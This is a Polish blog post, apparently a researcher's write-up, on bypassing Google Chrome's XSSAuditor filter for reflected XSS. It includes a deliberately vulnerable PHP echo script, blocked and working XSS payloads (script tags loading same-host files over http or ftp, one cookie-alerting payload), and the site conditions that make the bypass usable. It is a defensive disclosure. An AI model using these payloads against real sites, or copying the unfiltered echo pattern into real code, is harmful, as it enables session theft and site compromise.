Słowem wstępu
Jakiś czas temu zastanawiałem się, jak ominąć zabezpieczenie przed reflected xss'ami w przeglądarce, z której korzystam na codzień - czyli Google Chrome (22.0.1229.79, Linux) Po czasie znalazłem pewien sposób - więc zgłosiłem błąd. Jak się okazuje, takie,a nie inne działanie było zamierzone. Moje zgłoszenie zostało zamknięte - zresztą słusznie, ponieważ w kodzie XSSAuditora znaleźć można taki fragment (a ja do kodu - przyznam się bez bicia - nawet nie zajrzałem):
bool XSSAuditor::isLikelySafeResource(const String& url)
{
...
// If the resource is loaded from the same host as the enclosing page, it's
// probably not an XSS attack, so we reduce false positives by allowing the
// request, ignoring scheme and port considerations. If the resource has a
// query string, we're more suspicious, however, because that's pretty rare
// and the attacker might be able to trick a server-side script into doing
// something dangerous with the query string.
...
}
Zatem - biorąc pod uwagę powyższe, sposób o którym w szczegółach napiszę niżej, faktycznie przeglądarka uzna za bezpieczny.
O co chodzi?
Zabezpieczenie przed atakami typu XSS w Google Chrome polega na tym, że jeżeli nasz request (GET / POST) zawiera kod javascript, który przeglądarka ma potem wykonać (czyli zwrócony content zawiera tenże kod)... to go nie wykona ;) Weźmy pod lupę taki skrypt PHP:
<?php
echo "Bla, bla, bla<br>";
echo $_GET['a'];
?>
Czarno na białym widać co tu się święci ;-) Dla jasności, nasz skrypt znajduje się - przykładowo - pod adresem http://myhostname/~zoczus/inc.php. Umieszczając w parametrze GET takie wartości, przeglądarka je zablokuje:
- <script>alert('EVIL');</script>
- <script src="http://some.otherhost/alert.js"></script>
- <img src="a" onerror="alert(document.cookie)">
- <object width='400' height='400' data='data:text/html;base64,PHNjcmlwdD5hbGVydCgnS2Jvb20nKTs8L3NjcmlwdD4K'></object>
ALE, gdy zrobimy tak:
- <script src="http//myhostname/TEST.JS">alert("I won't be executed");</script>
- <script src="ftp://myhostname/alert.txt">alert("neither me");</script>
...to skrypt TEST.JS / alert.txt wykona się, a to co w tag'ach script - nie. To tyle. Nasuwa się szalenie prosty wniosek z tych całych rozmyśleń - miejsc, w których możemy taki atak wykorzystać jest niewiele. Zatem jeżeli na stronie mamy możliwość upload'u pliku i dostępu do jego zawartości lub force-download z serwera - możemy to wykorzystać. Z tego co sprawdziłem, przekazanie parametru GET w formie http://myhostname/test.php?param=value blokuje wykonanie, ale gdy programista korzysta z mod_rewrite i odnośnik będzie miał na przykład taką formę: http://myhostname/test/param/value - skrypt się wykona. Jeżeli w nagłówku odpowiedzi dostajemy header Location, który możemy kontrolować - to nawet jeżeli nasz skrypt jest na zupełnie innym zasobie - wykona się. Jeżeli na tym samym hoście znajduje się anonimowy serwer ftp z możliwością zapisu - możemy to wykorzystać. Protokół oraz port nie mają znaczenia - znaczenie ma wyłącznie host (subdomeny odpadają). Myślę, że wszystko jest jasne - jeśli macie inne ciekawe wariacje na ominięcie XSSAuditora, na przykład z wykorzystaniem innych protokołów - śmiało udzielajcie się w komentarzach. :)
Co robić?
Filtrować - to programiści. Użytkownicy - zwracać uwagę na to w co klikają. :)
